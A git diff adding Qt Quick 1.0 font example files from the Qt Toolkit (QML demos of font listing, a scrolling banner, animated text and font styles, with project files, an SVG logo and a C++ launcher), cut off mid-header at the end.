--- /dev/null
+++ b/examples/declarative/text/fonts/banner/qml/banner/availableFonts.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 480; height: 640; color: "steelblue"
+
+ ListView {
+ anchors.fill: parent; model: Qt.fontFamilies()
+
+ delegate: Item {
+ height: 40; width: ListView.view.width
+ Text {
+ anchors.centerIn: parent
+ text: modelData; font.family: modelData; font.pixelSize: 24; color: "white"
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/banner/qml/banner/banner.qml b/examples/declarative/text/fonts/banner/qml/banner/banner.qml
new file mode 100644
index 00000000..7784b8b2
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/qml/banner/banner.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ property int pixelSize: screen.height * 1.25
+ property color textColor: "lightsteelblue"
+ property string text: "Hello world! "
+
+ width: 640; height: 320
+ color: "steelblue"
+
+ Row {
+ y: -screen.height / 4.5
+
+ NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Animation.Infinite }
+ Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text }
+ }
+}
diff --git a/examples/declarative/text/fonts/banner/qml/banner/fonts.qml b/examples/declarative/text/fonts/banner/qml/banner/fonts.qml
new file mode 100644
index 00000000..8d7a56e8
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/qml/banner/fonts.qml
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ property string myText: "The quick brown fox jumps over the lazy dog."
+
+ width: 800; height: 480
+ color: "steelblue"
+
+ FontLoader { id: fixedFont; name: "Courier" }
+ FontLoader { id: localFont; source: "fonts/tarzeau_ocr_a.ttf" }
+ FontLoader { id: webFont; source: "http://www.princexml.com/fonts/steffmann/Starburst.ttf" }
+
+ Column {
+ anchors { fill: parent; leftMargin: 10; rightMargin: 10 }
+ spacing: 15
+
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font.family: "Times"; font.pointSize: 42
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: "Times"; pointSize: 42; capitalization: Font.AllUppercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font { family: fixedFont.name; pointSize: 42; weight: Font.Bold; capitalization: Font.AllLowercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font { family: fixedFont.name; pointSize: 42; italic: true; capitalization: Font.SmallCaps }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: localFont.name; pointSize: 42; capitalization: Font.Capitalize }
+ }
+ Text {
+ text: {
+ if (webFont.status == FontLoader.Ready) myText
+ else if (webFont.status == FontLoader.Loading) "Loading..."
+ else if (webFont.status == FontLoader.Error) "Error loading font"
+ }
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font.family: webFont.name; font.pointSize: 42
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/banner/qml/banner/fonts/tarzeau_ocr_a.ttf b/examples/declarative/text/fonts/banner/qml/banner/fonts/tarzeau_ocr_a.ttf
new file mode 100644
index 00000000..cf93f965
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/qml/banner/fonts/tarzeau_ocr_a.ttf
Binary files differ
diff --git a/examples/declarative/text/fonts/banner/qml/banner/hello.qml b/examples/declarative/text/fonts/banner/qml/banner/hello.qml
new file mode 100644
index 00000000..7a6b2c2c
--- /dev/null
+++ b/examples/declarative/text/fonts/banner/qml/banner/hello.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ width: 800; height: 480
+ color: "black"
+
+ Item {
+ id: container
+ x: screen.width / 2; y: screen.height / 2
+
+ Text {
+ id: text
+ anchors.centerIn: parent
+ color: "white"
+ text: "Hello world!"
+ font.pixelSize: 60
+ smooth: true
+
+ SequentialAnimation on font.letterSpacing {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 0; to: 150; easing.type: Easing.InQuad; duration: 3000 }
+ ScriptAction {
+ script: {
+ container.y = (screen.height / 4) + (Math.random() * screen.height / 2)
+ container.x = (screen.width / 4) + (Math.random() * screen.width / 2)
+ }
+ }
+ }
+
+ SequentialAnimation on opacity {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 1; to: 0; duration: 2600 }
+ PauseAnimation { duration: 400 }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/fonts.pro b/examples/declarative/text/fonts/fonts.pro
new file mode 100644
index 00000000..2359918e
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts.pro
@@ -0,0 +1,7 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ availableFonts \
+ banner \
+ fonts \
+ hello
diff --git a/examples/declarative/text/fonts/fonts/fonts.png b/examples/declarative/text/fonts/fonts/fonts.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/fonts.png
Binary files differ
diff --git a/examples/declarative/text/fonts/fonts/fonts.pro b/examples/declarative/text/fonts/fonts/fonts.pro
new file mode 100644
index 00000000..5babc339
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/fonts.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/fonts-qml
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE4CA52B6
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/text/fonts/fonts
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/text/fonts/fonts/fonts.qmlproject b/examples/declarative/text/fonts/fonts/fonts.qmlproject
new file mode 100644
index 00000000..2cc326b8
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/fonts.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/fonts-qml"
+ }
+ JavaScriptFiles {
+ directory: "qml/fonts-qml"
+ }
+ ImageFiles {
+ directory: "qml/fonts-qml"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/text/fonts/fonts/fonts.svg b/examples/declarative/text/fonts/fonts/fonts.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/fonts.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/text/fonts/fonts/main.cpp b/examples/declarative/text/fonts/fonts/main.cpp
new file mode 100644
index 00000000..ab7bd32d
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/fonts-qml/fonts.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/text/fonts/fonts/qml/fonts-qml/availableFonts.qml b/examples/declarative/text/fonts/fonts/qml/fonts-qml/availableFonts.qml
new file mode 100644
index 00000000..519d91b7
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/qml/fonts-qml/availableFonts.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 480; height: 640; color: "steelblue"
+
+ ListView {
+ anchors.fill: parent; model: Qt.fontFamilies()
+
+ delegate: Item {
+ height: 40; width: ListView.view.width
+ Text {
+ anchors.centerIn: parent
+ text: modelData; font.family: modelData; font.pixelSize: 24; color: "white"
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/fonts/qml/fonts-qml/banner.qml b/examples/declarative/text/fonts/fonts/qml/fonts-qml/banner.qml
new file mode 100644
index 00000000..7784b8b2
--- /dev/null
+++ b/examples/declarative/text/fonts/fonts/qml/fonts-qml/banner.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
